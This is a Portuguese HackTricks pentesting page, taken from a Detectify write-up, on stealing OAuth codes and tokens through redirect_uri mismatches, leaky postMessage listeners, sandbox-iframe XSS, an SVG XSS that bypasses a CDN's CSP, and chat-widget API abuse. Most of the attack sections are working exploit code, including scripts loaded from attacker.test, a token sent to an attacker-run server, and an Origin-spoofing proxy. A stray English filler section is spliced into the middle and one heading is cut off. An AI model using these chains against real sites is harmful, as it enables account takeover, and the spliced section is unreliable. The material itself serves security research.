hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md
2023-06-06 18:56:34 +00:00

42 KiB

OAuth - Fluxos Felizes, XSS, Iframes e Mensagens POST para vazar códigos e valores de estado

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este conteúdo foi retirado de https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url****

Explicação dos diferentes fluxos OAuth

Tipos de resposta

Primeiro, existem diferentes tipos de resposta que você pode usar no fluxo OAuth. Essas respostas concedem o token para fazer login como os usuários ou as informações necessárias para fazê-lo.

Os três mais comuns são:

  1. code + state. O código é usado para chamar o servidor do provedor OAuth para obter um token. O parâmetro state é usado para verificar se o usuário correto está fazendo a chamada. É responsabilidade do cliente OAuth validar o parâmetro de estado antes de fazer a chamada do lado do servidor para o provedor OAuth.
  2. id_token. É um JSON Web Token (JWT) assinado usando um certificado público do provedor OAuth para verificar se a identidade fornecida é realmente quem ela afirma ser.
  3. token. É um token de acesso usado na API do provedor de serviços.

Modos de resposta

Existem diferentes modos que o fluxo de autorização pode usar para fornecer os códigos ou tokens para o site no fluxo OAuth, estes são quatro dos mais comuns:

  1. Query. Enviando parâmetros de consulta como um redirecionamento de volta para o site (https://example.com/callback?code=xxx&state=xxx). Usado para code+state. O código só pode ser usado uma vez e você precisa do segredo do cliente OAuth para adquirir um token de acesso ao usar o código.
    1. Este modo não é recomendado para tokens pois os tokens podem ser usados várias vezes e não devem acabar em logs do servidor ou similares. A maioria dos provedores OAuth não suporta esse modo para tokens, apenas para código. Exemplos:
      • response_mode=query é usado pela Apple.
        • response_type=code é usado pelo Google ou Facebook.
  2. Fragment. Usando um redirecionamento de fragmento (https://example.com/callback#access_token=xxx). Neste modo, a parte do fragmento da URL não acaba em nenhum log do servidor e só pode ser alcançada do lado do cliente usando javascript. Este modo de resposta é usado para tokens. Exemplos:
    • response_mode=fragment é usado pela Apple e Microsoft.
    • response_type contém id_token ou token e é usado pelo Google, Facebook, Atlassian e outros.
  3. Web-message. Usando postMessage para uma origem fixa do site:
    postMessage('{"access_token":"xxx"}','https://example.com')
    Se suportado, muitas vezes pode ser usado para todos os diferentes tipos de resposta. Exemplos:
    • response_mode=web_message é usado pela Apple.
    • redirect_uri=storagerelay://... é usado pelo Google.
    • redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/... é usado pelo Facebook.
  4. Form-post. Usando um post de formulário para um redirect_uri válido, um pedido POST regular é enviado de volta para o site. Isso pode ser usado para código e tokens. Exemplos:
    • response_mode=form_post é usado pela Apple.
    • ux_mode=redirect&login_uri=https://example.com/callback é usado pelo Google Sign-In (GSI).

Quebrando o state intencionalmente

A especificação OAuth recomenda um parâmetro state em combinação com um response_type=code para garantir que o usuário que iniciou o fluxo também é o que está usando o código após o fluxo OAuth para emitir um token.

No entanto, se o valor do state for inválido, o code não será consumido porque é responsabilidade do site (o final) validar o estado. Isso significa que se um atacante puder enviar um link de fluxo de login para uma vítima contaminada com um state válido do atacante, o fluxo OAuth falhará para a vítima e o code nunca será enviado ao provedor OAuth. O código ainda será possível de usar se o atacante puder obtê-lo.

  1. O atacante inicia um fluxo de login no site usando "Entrar com X".
  2. O atacante usa o valor state e constrói um link para a vítima fazer login com o provedor OAuth, mas com o state do atacante.
  3. A vítima faz login com o link e é redirecionada de volta para o site.
  4. O site valida o state para a vítima e interrompe o processamento do fluxo de login, pois não é um estado válido. Página de erro para a vítima.
  5. O atacante encontra uma maneira de vazar o code da página de erro.
  6. O atacante agora pode fazer login com seu próprio state e o code vazado da vítima.

Tro

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

irá redirecionar para https://example.com/callback?code=xxx&state=yyy. Mas:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

irá redirecionar para https://example.com/callback#code=xxx&state=yyy&id_token=zzz.

A mesma ideia se aplica à Apple se você usar:

https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

você será redirecionado para https://example.com/callback?code=xxx&state=yyy, mas:

https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

Será redirecionado para https://example.com/callback#code=xxx&state=yyy&id_token=zzz.

Caminhos Não Felizes

O autor da pesquisa chamou de caminhos não felizes aqueles em que o usuário faz login via OAuth e é redirecionado para URLs incorretas. Isso é útil porque se o cliente receber o token ou um estado+codigo válido mas não chegar à página esperada, essa informação não será consumida corretamente e se o atacante encontrar uma maneira de extrair essa informação do "caminho não feliz", ele poderá assumir o controle da conta.

Por padrão, o fluxo OAuth chegará ao caminho esperado, no entanto, pode haver algumas configurações incorretas potenciais que permitiriam a um atacante criar uma solicitação OAuth inicial específica que fará com que o usuário chegue a um caminho não feliz após fazer login.

Incompatibilidades de URI de redirecionamento

Essas configurações incorretas "comuns" foram encontradas na URL de redirecionamento da comunicação OAuth.

A especificação **** indica estritamente que a URL de redirecionamento deve ser estritamente comparada com a definida, não permitindo alterações além da aparência ou não da porta. No entanto, alguns endpoints permitiam algumas modificações:

Adição de caminho de URI de redirecionamento

Alguns provedores OAuth permitem a adição de dados adicionais ao caminho para redirect_uri. Isso também viola a especificação da mesma forma que para "Mudança de caso de URI de redirecionamento". Por exemplo, tendo um URI de redirecionamento https://example.com/callback, enviando:

response_type=id_token&
redirect_uri=https://example.com/callbackxxx

Adição de parâmetros de redirecionamento-uri

Alguns provedores OAuth permitem a adição de parâmetros de consulta ou fragmento ao redirect_uri. Você pode usar isso ao acionar um caminho não feliz, fornecendo os mesmos parâmetros que serão adicionados à URL. Por exemplo, tendo um redirecionamento uri https://example.com/callback, enviando:

response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26

acabaria nestes casos como um redirecionamento para https://example.com/callback?code=xxx&code=real-code. Dependendo do site que recebe múltiplos parâmetros com o mesmo nome, isso também poderia desencadear um caminho não feliz. O mesmo se aplica a token e id_token:

response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26

Caminhos felizes do OAuth, XSS, iframes e post-messages para vazar valores de código e estado

Caminhos felizes do OAuth

Os caminhos felizes do OAuth são aqueles em que tudo ocorre conforme o esperado. No entanto, existem casos em que o fluxo pode ser interrompido, como quando há múltiplos parâmetros com o mesmo nome na URL de retorno. Isso pode resultar em uma URL de retorno como https://example.com/callback#id_token=xxx&id_token=real-id_token. Dependendo do javascript que busca os parâmetros de fragmento quando há múltiplos parâmetros com o mesmo nome, isso também pode resultar em um caminho não feliz.

Sobras ou configurações incorretas de redirect-uri

Ao coletar todas as URLs de login contendo os valores redirect_uri, também é possível testar se outros valores de redirect-uri são válidos. Dos 125 fluxos de login do Google que salvei dos sites que testei, 5 sites tinham a página inicial também como um redirect_uri válido. Por exemplo, se redirect_uri=https://auth.example.com/callback fosse o valor usado, nesses 5 casos, qualquer um desses valores também seria válido:

  • redirect_uri=https://example.com/
  • redirect_uri=https://example.com
  • redirect_uri=https://www.example.com/
  • redirect_uri=https://www.example.com

Isso foi especialmente interessante para os sites que realmente usavam id_token ou token, já que response_type=code ainda terá o provedor OAuth validando o redirect_uri na última etapa da dança do OAuth ao adquirir um token.

Gadget 1: Ouvintes de postMessage com verificação de origem fraca ou inexistente que vazam URL

Neste exemplo, o último caminho não feliz em que o token/código estava sendo enviado estava enviando uma mensagem de solicitação de postagem vazando location.href.
Um exemplo foi um SDK de análise para um site popular que foi carregado em sites:

Este SDK expôs um ouvinte de postMessage que enviou a seguinte mensagem quando o tipo de mensagem correspondia:

Enviando uma mensagem para ele de uma origem diferente:

openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');

Uma mensagem de resposta apareceria na janela que enviou a mensagem contendo o location.href do site:

O fluxo que poderia ser usado em um ataque dependia de como códigos e tokens eram usados para o fluxo de login, mas a ideia era:

Ataque

  1. O atacante envia ao usuário um link criado que foi preparado para resultar em um caminho não feliz na dança do OAuth.
  2. A vítima clica no link. Uma nova aba é aberta com um fluxo de login com um dos provedores OAuth do site sendo explorado.
  3. O caminho não feliz é acionado no site sendo explorado, o ouvinte de postMessage vulnerável é carregado na página em que a vítima pousou, ainda com o código ou tokens na URL.
  4. A aba original enviada pelo atacante envia um monte de postMessages para a nova aba com o site para fazer com que o ouvinte de postMessage vaze a URL atual.
  5. A aba original enviada pelo atacante então ouve a mensagem enviada para ela. Quando a URL retorna em uma mensagem, o código e token são extraídos e enviados ao atacante.
  6. Atacante faz login como a vítima usando o código ou token que acabou no caminho não feliz.

Gadget 2: XSS em domínio sandbox/terceiro que obtém a URL

Gadget 2: exemplo 1, roubando window.name de um iframe sandbox

Este tinha um iframe carregado na página onde a dança do OAuth terminou. O nome do iframe era uma versão JSON-stringified do objeto window.location. Esta é uma maneira antiga de transferir dados entre domínios, já que a página no iframe pode ter seu próprio window.name definido pelo pai:

i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)

O domínio carregado no iframe também tinha um XSS simples:

https://examplesandbox.com/embed_iframe?src=javascript:alert(1)

Ataque

Se você tiver um XSS em um domínio em uma janela, essa janela pode então alcançar outras janelas da mesma origem se houver uma relação de pai/filho/opener entre as janelas.

Isso significa que um invasor poderia explorar o XSS para carregar uma nova guia com o link OAuth criado que terminará no caminho que carrega o iframe com o token no nome. Então, a partir da página explorada pelo XSS, será possível ler o nome do iframe porque ele tem um opener sobre a página pai dos iframes e exfiltrá-lo.

Mais especificamente:

  1. Criar uma página maliciosa que esteja incorporando um iframe do sandbox com o XSS carregando meu próprio script:

    <div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
    x=createElement('script'),
    x.src='//attacker.test/inject.js',
    document.body.appendChild(x);" 
    style="border:0;width:500px;height:500px"></iframe></div>
    
  2. No meu script carregado no sandbox, substituí o conteúdo com o link a ser usado para a vítima:

    document.body.innerHTML = 
    '<a href="#" onclick="
    b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
    Clique aqui para sequestrar o token</a>';
    

    Também iniciei um script em um intervalo para verificar se o link foi aberto e se o iframe que eu queria alcançar está lá para obter o window.name definido no iframe com a mesma origem que o iframe na página do invasor:

    x = setInterval(function() {
    if(parent.window.b &&
     parent.window.b.frames[0] &&
     parent.window.b.frames[0].window &&
     parent.window.b.frames[0].window.name) {
       top.postMessage(parent.window.b.frames[0].window.name, '*');
       parent.window.b.close();
       clearInterval(x);
    }
    }, 500);
    
  3. A página do invasor pode então apenas ouvir a mensagem que acabamos de enviar com o window.name:

    <script>
    window.addEventListener('message', function (e) {
     if (e.data) {
         document.getElementById('leak').innerText = 'Roubamos o token: ' + e.data;
     }
    });
    </script>
    

Gadget 2: exemplo 2, iframe com XSS + verificação de origem pai

O segundo exemplo foi um iframe carregado no caminho não feliz com um XSS usando postMessage, mas as mensagens só eram permitidas do parent que o carregou. O location.href foi enviado para o iframe quando ele pediu initConfig em uma mensagem para a janela parent.

A janela principal carregou o iframe assim:

<iframe src="https://challenge-iframe.example.com/"></iframe>

Oauth Happy Paths: XSS, Iframes and Post Messages to Leak Code and State Values

Introduction

This document explains how to exploit Oauth Happy Paths to leak code and state values using XSS, iframes and post messages.

Oauth Happy Paths

Oauth Happy Paths are the different flows that an Oauth client can follow to obtain an access token from an Oauth provider. These flows are defined in the Oauth specification and are implemented by Oauth providers.

Exploiting Oauth Happy Paths

An attacker can exploit Oauth Happy Paths to leak code and state values by injecting malicious code into the Oauth provider's login page. This can be done using XSS, iframes and post messages.

XSS

XSS can be used to inject malicious code into the Oauth provider's login page. This code can then be used to steal the user's access token and other sensitive information.

Iframes

If the Oauth provider's login page is vulnerable to clickjacking, an attacker can use iframes to load the login page and steal the user's access token and other sensitive information.

Post Messages

Post messages can be used to communicate between different windows or iframes. An attacker can use post messages to steal the user's access token and other sensitive information.

Conclusion

Oauth Happy Paths can be exploited to leak code and state values using XSS, iframes and post messages. It is important for Oauth providers to implement proper security measures to prevent these attacks.

<script>
window.addEventListener('message', function (e) {
  if (e.source !== window.parent) {
    // not a valid origin to send messages
    return;
  }
  if (e.data.type === 'loadJs') {
    loadScript(e.data.jsUrl);
  } else if (e.data.type === 'initConfig') {
    loadConfig(e.data.config);
  }
});
</script>

Ataque

Neste caso, o atacante carrega um iframe com a página vulnerável de XSS de post-message e explora o XSS para carregar JS arbitrário. Este JS irá abrir uma guia com o link OAuth. Após o login, a página final contém o token na URL e carregou um iframe (o iframe vulnerável de post-message XSS).

Em seguida, o JS arbitrário (do XSS explorado) tem um abridor para essa guia, então ele acessa o iframe e faz com que ele peça ao pai pelo initConfig (que contém a URL com o token). A página pai fornece-o ao iframe, que também é comandado para vazá-lo.

Neste caso, eu poderia fazer um método semelhante ao exemplo anterior:

  1. Criar uma página maliciosa que esteja incorporando um iframe do sandbox, anexar um onload para disparar um script quando o iframe é carregado.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://challenge-iframe.example.com/"
    onload="run()"
    style="border:0;width:500px;height:500px"></iframe></div>
    
  2. Como a página maliciosa é então o pai do iframe, ela poderia enviar uma mensagem para o iframe para carregar nosso script na origem do sandbox usando postMessage (XSS):

    <script>
    function run() {
      i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
    }
    </script>
    
  3. No meu script sendo carregado no sandbox, eu substituí o conteúdo pelo link para a vítima:

    document.body.innerHTML = '<a href="#" onclick="
    b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
    Clique aqui para sequestrar o token</a>';
    

    Eu também iniciei um script em um intervalo para verificar se o link foi aberto e se o iframe que eu queria alcançar estava lá, para executar javascript dentro dele do meu iframe para a janela principal. Em seguida, anexei um ouvinte de postMessage que passou a mensagem de volta para o meu iframe na janela maliciosa:

    x = setInterval(function() {
      if(b && b.frames[1]) {
        b.frames[1].eval(
          'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
          'top.postMessage({type:'initConfig'},"*")'
        )
        clearInterval(x)
      }
    }, 500);
    
  4. A página do atacante que tinha o iframe carregado pode então ouvir a mensagem que enviei do ouvinte de postMessage injetado no iframe da janela principal:

    <script>
    window.addEventListener('message', function (e) {
     if (e.data) {
         document.getElementById('leak').innerText = 'Roubamos o token: ' + JSON.stringify(e.data);
     }
    });
    </script>
    

Gadget 3: Usando APIs para buscar URL fora dos limites

Este gadget acabou sendo o mais divertido. Há algo satisfatório em enviar a vítima para algum lugar e depois pegar dados sensíveis de um local diferente.

Gadget 3: exemplo 1, storage-iframe sem verificação de origem

O primeiro exemplo usou um serviço externo para dados de rastreamento. Este serviço adicionou um "iframe de armazenamento":

<iframe
  id="tracking"
  name="tracking"
  src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>

A janela principal se comunicaria com este iframe usando postMessage para enviar dados de rastreamento que seriam salvos no localStorage da origem em que o storage.html estava localizado:

tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');

A janela principal também pode buscar esse conteúdo:

tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');

Quando o iframe foi carregado na inicialização, uma chave foi salva para a última localização do usuário usando location.href:

tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');

Se você pudesse conversar com essa origem de alguma forma e fazê-la enviar o conteúdo, o location.href poderia ser obtido a partir desse armazenamento. O ouvinte de postMessage para o serviço tinha uma lista de bloqueio e uma lista de permissão de origens. Parece que o serviço de análise permitiu que o site definisse quais origens permitir ou negar:

var blockList = [];
var allowList = [];
var syncListeners = [];

window.addEventListener('message', function(e) {
  // If there's a blockList, check if origin is there and if so, deny
  if (blockList && blockList.indexOf(e.origin) !== -1) {
    return;
  }
  // If there's an allowList, check if origin is there, else deny
  if (allowList && allowList.indexOf(e.origin) == -1) {
    return;
  }
  // Only parent can talk to it
  if (e.source !== window.parent) {
    return;
  }
  handleMessage(e);
});

function handleMessage(e) {
  if (data.type === 'sync') {
    syncListeners.push({source: e.source, origin: e.origin})
  } else {
  ...
}

window.addEventListener('storage', function(e) {
  for(var i = 0; i < syncListeners.length; i++) {
    syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
  }
}

Além disso, se você tivesse uma origem válida com base na allowList, também seria capaz de solicitar uma sincronização, o que lhe daria todas as alterações feitas no localStorage nesta janela enviadas para você quando foram feitas.

Ataque

No site que tinha esse armazenamento carregado no caminho não feliz da dança do OAuth, nenhuma origem da allowList foi definida; isso permitiu que qualquer origem falasse com o ouvinte de postMessage se a origem fosse o parent da janela:

  1. Eu criei uma página maliciosa que incorporava um iframe do contêiner de armazenamento e anexei um onload para acionar um script quando o iframe é carregado.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://cdn.customer12345.analytics.example.com/storage.html"
    onload="run()"></iframe></div>
    
  2. Como a página maliciosa agora era o pai do iframe e nenhuma origem foi definida na allowList, a página maliciosa poderia enviar mensagens para o iframe para dizer ao armazenamento para enviar mensagens para quaisquer atualizações no armazenamento. Eu também poderia adicionar um ouvinte à página maliciosa para ouvir quaisquer atualizações de sincronização do armazenamento:

    <script>
    function run() {
      i.postMessage({type:'sync'}, '*')
    }
    window.addEventListener('message', function (e) {
     if (e.data && e.data.type === 'sync') {
         document.getElementById('leak').innerText = 'Roubamos o token: ' + JSON.stringify(e.data);
     }
    });
    </script>
    
  3. A página maliciosa também conteria um link regular para a vítima clicar:

    <a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
    target="_blank">Clique aqui para sequestrar o token</a>';
    
  4. A vítima clicaria no link, passaria pela dança do OAuth e acabaria no caminho não feliz carregando o script de rastreamento e o iframe de armazenamento. O iframe de armazenamento recebe uma atualização de last-url. O evento window.storage seria acionado no iframe da página maliciosa, uma vez que o localStorage foi atualizado, e a página maliciosa que agora estava recebendo atualizações sempre que o armazenamento mudava receberia uma postMessage com a URL atual da vítima:

Gadget 3: exemplo 2, mistura de clientes no CDN - DIY storage-SVG sem verificação de origem

Como o próprio serviço de análise tinha um programa de recompensas por bugs, também fiquei interessado em ver se poderia encontrar uma maneira de vazar URLs também para os sites que haviam configurado origens adequadas para o iframe de armazenamento.

Quando comecei a procurar o domínio cdn.analytics.example.com online sem a parte do cliente, notei que esse CDN também continha imagens enviadas pelos clientes do serviço:

https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png

Também notei que havia arquivos SVG servidos inline como Content-type: image/svg+xml neste CDN:

https://cdn.analytics.example.com/img/customer54353/icon-register.svg

Eu me registrei como usuário de teste no serviço e carreguei meu próprio ativo, que também apareceu no CDN:

https://cdn.analytics.example.com/img/customer94342/tiger.svg

A parte interessante foi que, se você usasse o subdomínio específico do cliente para o CDN, a imagem ainda era servida. Esta URL funcionou:

https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg

Isso significava que o cliente com ID #94342 poderia renderizar arquivos SVG no armazenamento do cliente #12345.

Eu carreguei um arquivo SVG com um payload XSS simples:

https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>

Não é ótimo. O CDN adicionou um cabeçalho Content-Security-Policy: default-src 'self' para tudo sob img/. Você também pode ver que o cabeçalho do servidor mencionou o S3 - revelando que o conteúdo foi carregado em um bucket S3:

Uma peculiaridade interessante do S3 é que os diretórios não são realmente diretórios no S3; o caminho antes da chave é chamado de "prefixo". Isso significa que o S3 não se importa se / são codificados em URL ou não, ele ainda servirá o conteúdo se você codificar em URL cada barra na URL. Se eu mudasse img/ para img%2f na URL, a imagem ainda seria exibida. No entanto, nesse caso, o cabeçalho CSP foi removido e o XSS foi acionado:

Eu então carreguei um SVG que criaria a mesma forma de manipulador de armazenamento e ouvinte de postMessage como o storage.html regular, mas com uma allowList vazia. Isso me permitiu fazer o mesmo tipo de ataque mesmo em sites que haviam definido corretamente as origens permitidas que poderiam falar com o armazenamento.

Eu carreguei um SVG que parecia com isso:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>

Eu poderia então utilizar a mesma metodologia do exemplo #1, mas em vez de colocar o storage.html em um iframe, eu poderia colocar o SVG com a barra codificada em URL:

<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>

Como nenhum site seria capaz de corrigir isso sozinho, enviei um relatório para o provedor de análise responsável pelo CDN:

A ideia de olhar para bugs de configuração incorreta em terceiros era principalmente para confirmar que existem várias maneiras de vazar os tokens e, como o terceiro tinha um programa de recompensas por bugs, este era apenas um receptor diferente para o mesmo tipo de bug, a diferença sendo que o impacto era para todos os clientes do serviço de análise. Neste caso, o cliente do terceiro na verdade tinha a capacidade de configurar corretamente a ferramenta para não vazar dados para o atacante. No entanto, como os dados sensíveis ainda eram enviados para o terceiro, foi interessante ver se havia alguma maneira de contornar completamente a configuração adequada da ferramenta pelo cliente.

Gadget 3: exemplo 3, API de chat-widget

O último exemplo foi baseado em um chat-widget que estava presente em todas as páginas de um site, até mesmo nas páginas de erro. Havia vários ouvintes de postMessage, um deles sem uma verificação de origem adequada que permitia apenas iniciar o pop-up do chat. Outro ouvinte tinha uma verificação rigorosa de origem para que o chat-widget recebesse uma chamada de inicialização e o token da API de chat atual que estava sendo usado pelo usuário atual.

<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
  if (e.data.type === 'launch-chat') {
    openChat();
  }
});

function openChat() {
  ...
}

var chatApiToken;
window.addEventListener('message', function(e) {
  if (e.origin === 'https://chat-widget.example.com') {
    if (e.data.type === 'chat-widget') {
      if (e.data.key === 'api-token') {
        chatApiToken = e.data.value;
      }
      if(e.data.key === 'init') {
        chatIsLoaded();
      }
    }
  }
});

function chatIsLoaded() {
  ...
}
</script>

Quando o chat-iframe é carregado:

  1. Se um chat-api-token existir no localStorage do widget de chat, ele enviará o api-token para seu pai usando postMessage. Se nenhum chat-api-token existir, ele não enviará nada.
  2. Quando o iframe é carregado, ele enviará uma mensagem postMessage com {"type": "chat-widget", "key": "init"} para seu pai.

Se você clicar no ícone de chat na janela principal:

  1. Se nenhum chat-api-token tiver sido enviado ainda, o widget de chat criará um e o colocará no localStorage de sua própria origem e o enviará por postMessage para a janela pai.

  2. A janela pai fará uma chamada de API para o serviço de chat. O endpoint da API estava restrito pelo CORS ao site específico configurado para o serviço. Você precisava fornecer um cabeçalho Origin válido para a chamada de API com o chat-api-token para permitir que a solicitação fosse enviada.

  3. A chamada de API da janela principal conteria location.href e o registraria como a "página atual" do visitante com o chat-api-token. A resposta então conteria tokens para se conectar a um websocket para iniciar a sessão de chat:

    {
      "api_data": {
        "current_page": "https://example.com/#access_token=test",
        "socket_key": "xxxyyyzzz",
        ...
      }
    }
    

Neste exemplo, percebi que o anúncio do chat-api-token sempre seria anunciado ao pai do iframe do widget de chat e, se eu obtivesse o chat-api-token, poderia fazer uma solicitação do lado do servidor usando o token e, em seguida, adicionar meu próprio cabeçalho Origin artificial à chamada de API, já que um cabeçalho CORS só importa para um navegador. Isso resultou na seguinte cadeia:

  1. Criei uma página maliciosa que incorpora um iframe do widget de chat, adicionou um ouvinte de postMessage para ouvir o chat-api-token. Além disso, acionei um evento para recarregar o iframe se eu não tivesse recebido o api-token em 2 segundos. Isso foi para garantir que eu também suportasse as vítimas que nunca iniciaram o chat e, como eu poderia acionar a abertura do chat remotamente, primeiro precisava do chat-api-token para começar a pesquisar os dados no chat-API do lado do servidor.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
    <script>
    var gotToken = false;
    function reloadToCheck() {
      if (gotToken) return;
      setTimeout(function() {
        document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
      }, 2000);
    }
    window.onmessage = function(e) {
      if (e.data.key === 'api-token') {
        gotToken = true;
        lookInApi(e.data.value);    
      }
    }
    launchChatWindowByPostMessage();
    </script>
    
  2. Adicionei um link à página maliciosa para abrir o fluxo de login que acabaria na página com o widget de chat com o token na URL:

    <a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Clique aqui para sequestrar o token</a>
    
  3. A função launchChatWindowByPostMessage() continuamente enviará uma mensagem postMessage para a janela principal, se aberta, para lançar o widget de chat:

    function launchChatWindowByPostMessage() {
      var launch = setInterval(function() {
        if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
      }, 500);
    }
    
  4. Quando a vítima clicou no link e acabou na página de erro, o chat seria iniciado e um chat-api-token seria criado. Minha recarga do iframe do widget de chat na página maliciosa obteria o api-token por meio de postMessage e eu poderia então começar a procurar no API a URL atual da vítima:

    function lookInApi(token) {
      var look = setInterval(function() {
        fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
          if (e &&
            e.api_data &&
            e.api_data.current_url &&
            e.api_data.current_url.indexOf('access_token') !== -1) {
              var payload = e.api_data.current_url
              document.getElementById('leak').innerHTML = 'Atacante agora tem o token: ' + payload;
              clearInterval(look);
          }
        });
      }, 2000);
    }
    
  5. A página do lado do servidor em https://fetch-server-side.attacker.test/?token=xxx faria a chamada de API com o cabeçalho Origin adicionado para fazer o Chat-API pensar que eu estava usando-o como uma origem legítima:

    addEventListener('fetch', event => {
      event.respondWith(handleRequest(event.request))
    })
    async function getDataFromChatApi(token) {
      return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
    }
    function handleRequest(request) {
      const token = request.url.match('token=([^&#]+)')[1] || null;
      return token ? getDataFromChatApi(token) : null;
    }
    
  6. Quando a vítima clicou no link e passou pela dança do OAuth e pousou na página de erro com o token adicionado, o widget de chat de repente apareceria, registraria a URL atual e o atacante teria o token de acesso da vítima.

Outras ideias para vazar URLs

Ainda existem diferentes tipos de gadgets esperando para serem encontrados. Aqui está um desses casos que não consegui encontrar na natureza, mas poderia ser uma maneira potencial de obter a URL para vazar usando qualquer um dos modos de resposta disponíveis.

Uma página em um domínio que roteia qualquer postMessage para seu opener

Como todos os tipos de resposta web_message não podem validar nenhum caminho da origem, qualquer URL em um domínio válido pode receber a postMessage com o token. Se houver algum tipo de ouvinte de postMessage-proxy em uma das páginas do domínio, que recebe qualquer mensagem enviada para ele e envia tudo para seu opener, posso fazer uma cadeia de window.open dupla:

Página do atacante 1:

<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>

Página do Atacante 2:

<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>

E o https://example.com/postmessage-proxy teria algo parecido com:

// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }

Eu poderia usar qualquer um dos modos de resposta web_message para enviar o token do provedor OAuth para a origem válida https://example.com, mas o endpoint enviaria o token para opener, que é a página do atacante.

Esse fluxo pode parecer improvável e requer dois cliques: um para criar um relacionamento de abertura entre o atacante e o site e o segundo para iniciar o fluxo OAuth tendo o site legítimo como o abridor do pop-up OAuth.

O provedor OAuth envia o token para a origem legítima:

E a origem legítima tem o proxy postMessage para seu abridor:

O que faz com que o atacante obtenha o token:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥